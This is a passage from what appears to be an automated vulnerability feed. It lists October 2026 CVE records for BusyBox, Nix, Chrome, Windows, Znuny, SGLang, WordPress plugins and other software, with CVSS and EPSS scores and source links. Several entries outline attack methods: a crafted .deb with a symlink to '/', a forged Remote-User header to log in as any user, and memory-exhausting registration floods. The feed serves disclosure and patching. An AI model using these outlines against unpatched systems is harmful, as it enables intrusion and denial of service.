A flaw was found in BusyBox's dpkg-deb archive extraction. The ar archive handler flushes deferred symlinks after each archive member, unlike the tar, cpio, and unzip handlers which flush once after the last member. A specially crafted .deb archive with two data.tar members can exploit this ordering: the first member declares a symlink pointing to an absolute path (e.g., '/'), which is deferred as unsafe but flushed after the first member. The second member declares a regular file whose path traverses the now-live symlink, resulting in a file being written outside the intended extraction directory. This could allow an attacker to write arbitrary files to arbitrary locations when a user extracts a crafted .deb package.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Nix before 2.35.3 and Lix before 2.95.4 allow privilege escalation via a repair operation because it could destroy and then replace a store path before content verification.
https://kevwire.com/record/CVE-2026-110450
Nix before 2.35.3 and Lix before 2.95.4 allow privilege escalation via a repair operation because it could destroy and then replace a store path before content verification. (Oct 14, 2026).
Nix before 2.35.3 and Lix before 2.95.4 allow privilege escalation via a repair operation because it could destroy and then replace a store path before content verification.
CVSS 8.0 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110450).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110450&date=2026-10-25).
Sources:
NVD CVE-2026-110450: https://nvd.nist.gov/vuln/detail/CVE-2026-110450
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110450&date=2026-10-25
Nix before 2.35.3 and Lix before 2.95.4 allow privilege escalation via a repair operation because it could destroy and then replace a store path before content verification.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in V8 in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-110919
Use after free in V8 in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 15, 2026).
Use after free in V8 in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110919).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110919&date=2026-10-25).
Sources:
NVD CVE-2026-110919: https://nvd.nist.gov/vuln/detail/CVE-2026-110919
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01886704284.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110919&date=2026-10-25
Use after free in V8 in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in V8 in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-110920
Memory corruption in V8 in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 15, 2026).
Memory corruption in V8 in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110920).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110920&date=2026-10-25).
Sources:
NVD CVE-2026-110920: https://nvd.nist.gov/vuln/detail/CVE-2026-110920
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01886704284.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110920&date=2026-10-25
Memory corruption in V8 in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in V8 in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-110921
Use after free in V8 in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 15, 2026).
Use after free in V8 in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110921).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110921&date=2026-10-25).
Sources:
NVD CVE-2026-110921: https://nvd.nist.gov/vuln/detail/CVE-2026-110921
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01886704284.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110921&date=2026-10-25
Use after free in V8 in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Prerender in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-110922
Use after free in Prerender in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 15, 2026).
Use after free in Prerender in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVSS 8.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110922).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110922&date=2026-10-25).
Sources:
NVD CVE-2026-110922: https://nvd.nist.gov/vuln/detail/CVE-2026-110922
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01886704284.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110922&date=2026-10-25
Use after free in Prerender in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70012
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70012).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70012&date=2026-10-25).
Sources:
NVD CVE-2026-70012: https://nvd.nist.gov/vuln/detail/CVE-2026-70012
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70012
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70012&date=2026-10-25
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow in Windows GDI+ allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83934
Stack-based buffer overflow in Windows GDI+ allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Stack-based buffer overflow in Windows GDI+ allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83934).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83934&date=2026-10-25).
Sources:
NVD CVE-2026-83934: https://nvd.nist.gov/vuln/detail/CVE-2026-83934
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83934
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83934&date=2026-10-25
Stack-based buffer overflow in Windows GDI+ allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft XML allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83935
Heap-based buffer overflow in Microsoft XML allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft XML allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83935).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83935&date=2026-10-25).
Sources:
NVD CVE-2026-83935: https://nvd.nist.gov/vuln/detail/CVE-2026-83935
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83935
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83935&date=2026-10-25
Heap-based buffer overflow in Microsoft XML allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Znuny through 7.3.6, an attacker can bypass specific standard login procedures and gain unauthorized access to sensitive system functions by manipulating a specific HTTP...
https://kevwire.com/record/CVE-2026-93483
In Znuny through 7.3.6, an attacker can bypass specific standard login procedures and gain unauthorized access to sensitive system functions by manipulating a specific HTTP... (Oct 15, 2026).
In Znuny through 7.3.6, an attacker can bypass specific standard login procedures and gain unauthorized access to sensitive system functions by manipulating a specific HTTP request header. Because the application incorrectly trusts this header, an attacker can impersonate any user, including administrators, without requiring a password. This grants full access to confidential data and system controls. More specifically, the HTTPBasicAuth modules for the agent (Kernel::System::Auth::HTTPBasicAuth) and customer (Kernel::System::CustomerAuth::HTTPBasicAuth) interfaces read the username to log in not only from $ENV{REMOTE_USER} (set by the web server after successful authentication), but also, as a fallback, from $ENV{HTTP_REMOTE_USER}, which is populated directly from an attacker-controllable "Remote-User" request header. On systems where HTTPBasicAuth was configured as the authentication backend, this allowed an attacker to log in as any existing user by sending a request with a forged Remote-User header, without providing any credentials.
CVSS 9.5 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-93483).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-93483&date=2026-10-25).
Sources:
NVD CVE-2026-93483: https://nvd.nist.gov/vuln/detail/CVE-2026-93483
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-93483&date=2026-10-25
In Znuny through 7.3.6, an attacker can bypass specific standard login procedures and gain unauthorized access to sensitive system functions by manipulating a specific HTTP request header. Because the application incorrectly trusts this header, an attacker can impersonate any user, including administrators, without requiring a password. This grants full access to confidential data and system controls. More specifically, the HTTPBasicAuth modules for the agent (Kernel::System::Auth::HTTPBasicAuth) and customer (Kernel::System::CustomerAuth::HTTPBasicAuth) interfaces read the username to log in not only from $ENV{REMOTE_USER} (set by the web server after successful authentication), but also, as a fallback, from $ENV{HTTP_REMOTE_USER}, which is populated directly from an attacker-controllable "Remote-User" request header. On systems where HTTPBasicAuth was configured as the authentication backend, this allowed an attacker to log in as any existing user by sending a request with a forged Remote-User header, without providing any credentials.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Akamai GPA (Guardicore Platform Agent) client on all platforms before 7.4 improperly validates JWT tokens used for seeding.
https://kevwire.com/record/CVE-2026-50218
Akamai GPA (Guardicore Platform Agent) client on all platforms before 7.4 improperly validates JWT tokens used for seeding. (Oct 14, 2026).
Akamai GPA (Guardicore Platform Agent) client on all platforms before 7.4 improperly validates JWT tokens used for seeding. By convincing a user to interact with a malicious link, an attacker can use a spoofed JWT token to inject arbitrary parameters into the client software, resulting in unauthorized reconfiguration and full compromise of the application's functionality. This attack can also be targeted against an already seeded client if the attacker knows the URL of the IDP that the client used for enrollment.
CVSS 8.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-50218).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-50218&date=2026-10-25).
Sources:
NVD CVE-2026-50218: https://nvd.nist.gov/vuln/detail/CVE-2026-50218
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-50218&date=2026-10-25
Akamai GPA (Guardicore Platform Agent) client on all platforms before 7.4 improperly validates JWT tokens used for seeding. By convincing a user to interact with a malicious link, an attacker can use a spoofed JWT token to inject arbitrary parameters into the client software, resulting in unauthorized reconfiguration and full compromise of the application's functionality. This attack can also be targeted against an already seeded client if the attacker knows the URL of the IDP that the client used for enrollment.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SGLang through 0.5.22 with the Mooncake disaggregation backend accepts unauthenticated decode registration messages on the Prefill rank ZMQ PULL socket, allowing denial of service.
https://kevwire.com/record/CVE-2026-112269
SGLang through 0.5.22 with the Mooncake disaggregation backend accepts unauthenticated decode registration messages on the Prefill rank ZMQ PULL socket, allowing denial of service. (Oct 19, 2026).
SGLang through 0.5.22 with the Mooncake disaggregation backend accepts unauthenticated decode registration messages on the Prefill rank ZMQ PULL socket, allowing denial of service. Network-adjacent attackers can send many registrations with unique mooncake_session_id values and large nested-buffer frames to exhaust Prefill memory until the scheduler is OOM-killed.
CVSS 7.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112269).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112269&date=2026-10-25).
Sources:
NVD CVE-2026-112269: https://nvd.nist.gov/vuln/detail/CVE-2026-112269
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112269&date=2026-10-25
SGLang through 0.5.22 with the Mooncake disaggregation backend accepts unauthenticated decode registration messages on the Prefill rank ZMQ PULL socket, allowing denial of service. Network-adjacent attackers can send many registrations with unique mooncake_session_id values and large nested-buffer frames to exhaust Prefill memory until the scheduler is OOM-killed.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was identified in satya-vinay Events-Management-System up to 437c77ceb69bf9fe2e3f4f46f7871b83f425383a. Affected by this vulnerability is an unknown functionality...
https://kevwire.com/record/CVE-2026-112142
A vulnerability was identified in satya-vinay Events-Management-System up to 437c77ceb69bf9fe2e3f4f46f7871b83f425383a. Affected by this vulnerability is an unknown functionality... (Oct 19, 2026).
A vulnerability was identified in satya-vinay Events-Management-System up to 437c77ceb69bf9fe2e3f4f46f7871b83f425383a. Affected by this vulnerability is an unknown functionality of the file dodelete.php of the component Registration-Delete Handler. Such manipulation of the argument ID leads to sql injection. The attack can be executed remotely. The exploit is publicly available and might be used. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112142).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112142&date=2026-10-25).
Sources:
NVD CVE-2026-112142: https://nvd.nist.gov/vuln/detail/CVE-2026-112142
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112142&date=2026-10-25
A vulnerability was identified in satya-vinay Events-Management-System up to 437c77ceb69bf9fe2e3f4f46f7871b83f425383a. Affected by this vulnerability is an unknown functionality of the file dodelete.php of the component Registration-Delete Handler. Such manipulation of the argument ID leads to sql injection. The attack can be executed remotely. The exploit is publicly available and might be used. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### cgltf through 1.15 contains a heap out-of-bounds write vulnerability in cgltf_accessor_unpack_floats() that allows attackers to write outside the output buffer via unchecked...
https://kevwire.com/record/CVE-2026-112018
cgltf through 1.15 contains a heap out-of-bounds write vulnerability in cgltf_accessor_unpack_floats() that allows attackers to write outside the output buffer via unchecked... (Oct 18, 2026).
cgltf through 1.15 contains a heap out-of-bounds write vulnerability in cgltf_accessor_unpack_floats() that allows attackers to write outside the output buffer via unchecked sparse accessor indices. Attackers can supply a crafted glTF or GLB file with large sparse indices to corrupt heap memory, crash applications, and potentially execute code when cgltf_validate() is not called.
CVSS 7.3 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112018).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112018&date=2026-10-25).
Sources:
NVD CVE-2026-112018: https://nvd.nist.gov/vuln/detail/CVE-2026-112018
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112018&date=2026-10-25
cgltf through 1.15 contains a heap out-of-bounds write vulnerability in cgltf_accessor_unpack_floats() that allows attackers to write outside the output buffer via unchecked sparse accessor indices. Attackers can supply a crafted glTF or GLB file with large sparse indices to corrupt heap memory, crash applications, and potentially execute code when cgltf_validate() is not called.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Wheels 4.0.0 through 4.1.2 before 4.2.0 replaces incoming scope conditions with a primary-key condition in findByKey() and exists(key=).
https://kevwire.com/record/CVE-2026-111445
Wheels 4.0.0 through 4.1.2 before 4.2.0 replaces incoming scope conditions with a primary-key condition in findByKey() and exists(key=). (Oct 16, 2026).
Wheels 4.0.0 through 4.1.2 before 4.2.0 replaces incoming scope conditions with a primary-key condition in findByKey() and exists(key=). For exists(key=), production with error information disabled returns true for an out-of-scope key instead of throwing. Applications relying on scopes for ownership or tenant authorization can therefore load and subsequently modify or delete another user's or tenant's record when the key comes from a request. The 4.2.0 fix combines key conditions with incoming scope, query-builder or where conditions in findByKey(), exists(key=), updateByKey() and deleteByKey(). Other scope-aware finders, aggregates, updateAll() and deleteAll() are not affected.
CVSS 8.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111445).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111445&date=2026-10-25).
Sources:
NVD CVE-2026-111445: https://nvd.nist.gov/vuln/detail/CVE-2026-111445
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111445&date=2026-10-25
Wheels 4.0.0 through 4.1.2 before 4.2.0 replaces incoming scope conditions with a primary-key condition in findByKey() and exists(key=). For exists(key=), production with error information disabled returns true for an out-of-scope key instead of throwing. Applications relying on scopes for ownership or tenant authorization can therefore load and subsequently modify or delete another user's or tenant's record when the key comes from a request. The 4.2.0 fix combines key conditions with incoming scope, query-builder or where conditions in findByKey(), exists(key=), updateByKey() and deleteByKey(). Other scope-aware finders, aggregates, updateAll() and deleteAll() are not affected.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Backdrop CMS Core 1.35.x before 1.35.2 and 1.34.x before 1.34.6 mishandles tokens.
https://kevwire.com/record/CVE-2026-110907
Backdrop CMS Core 1.35.x before 1.35.2 and 1.34.x before 1.34.6 mishandles tokens. (Oct 15, 2026).
Backdrop CMS Core 1.35.x before 1.35.2 and 1.34.x before 1.34.6 mishandles tokens. A token is a small placeholder string (like [node:title] or [user:name]) used to automatically insert dynamic data into text. A browser is provided for selecting tokens by type. The product doesn't sufficiently limit access to the types of tokens that are available in the token browser. The names of the individual tokens are adequately protected.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110907).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110907&date=2026-10-25).
Sources:
NVD CVE-2026-110907: https://nvd.nist.gov/vuln/detail/CVE-2026-110907
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110907&date=2026-10-25
Backdrop CMS Core 1.35.x before 1.35.2 and 1.34.x before 1.34.6 mishandles tokens. A token is a small placeholder string (like [node:title] or [user:name]) used to automatically insert dynamic data into text. A browser is provided for selecting tokens by type. The product doesn't sufficiently limit access to the types of tokens that are available in the token browser. The names of the individual tokens are adequately protected.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect Privilege Assignment vulnerability in Hamid Alinia Login with phone number login-with-phone-number allows Privilege Escalation.This issue affects Login with phone...
https://kevwire.com/record/CVE-2026-110373
Incorrect Privilege Assignment vulnerability in Hamid Alinia Login with phone number login-with-phone-number allows Privilege Escalation.This issue affects Login with phone... (Oct 18, 2026).
Incorrect Privilege Assignment vulnerability in Hamid Alinia Login with phone number login-with-phone-number allows Privilege Escalation.This issue affects Login with phone number: from n/a through 1.8.77.
CVSS 8.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110373).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110373&date=2026-10-25).
Sources:
NVD CVE-2026-110373: https://nvd.nist.gov/vuln/detail/CVE-2026-110373
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110373&date=2026-10-25
Incorrect Privilege Assignment vulnerability in Hamid Alinia Login with phone number login-with-phone-number allows Privilege Escalation.This issue affects Login with phone number: from n/a through 1.8.77.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect Privilege Assignment vulnerability in Brainstorm Force OttoKit suretriggers allows Privilege Escalation.This issue affects OttoKit: from n/a through 1.1.40.
https://kevwire.com/record/CVE-2026-110372
Incorrect Privilege Assignment vulnerability in Brainstorm Force OttoKit suretriggers allows Privilege Escalation.This issue affects OttoKit: from n/a through 1.1.40. (Oct 18, 2026).
Incorrect Privilege Assignment vulnerability in Brainstorm Force OttoKit suretriggers allows Privilege Escalation.This issue affects OttoKit: from n/a through 1.1.40.
CVSS 9.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110372).
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110372&date=2026-10-25).
Sources:
NVD CVE-2026-110372: https://nvd.nist.gov/vuln/detail/CVE-2026-110372
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110372&date=2026-10-25
Incorrect Privilege Assignment vulnerability in Brainstorm Force OttoKit suretriggers allows Privilege Escalation.This issue affects OttoKit: from n/a through 1.1.40.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in WP Chill Strong Testimonials strong-testimonials allows Object Injection.This issue affects Strong Testimonials: from n/a...
https://kevwire.com/record/CVE-2026-107436
Deserialization of Untrusted Data vulnerability in WP Chill Strong Testimonials strong-testimonials allows Object Injection.This issue affects Strong Testimonials: from n/a... (Oct 18, 2026).
Deserialization of Untrusted Data vulnerability in WP Chill Strong Testimonials strong-testimonials allows Object Injection.This issue affects Strong Testimonials: from n/a through 3.3.12.
CVSS 8.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107436).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107436&date=2026-10-25).
Sources:
NVD CVE-2026-107436: https://nvd.nist.gov/vuln/detail/CVE-2026-107436
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107436&date=2026-10-25
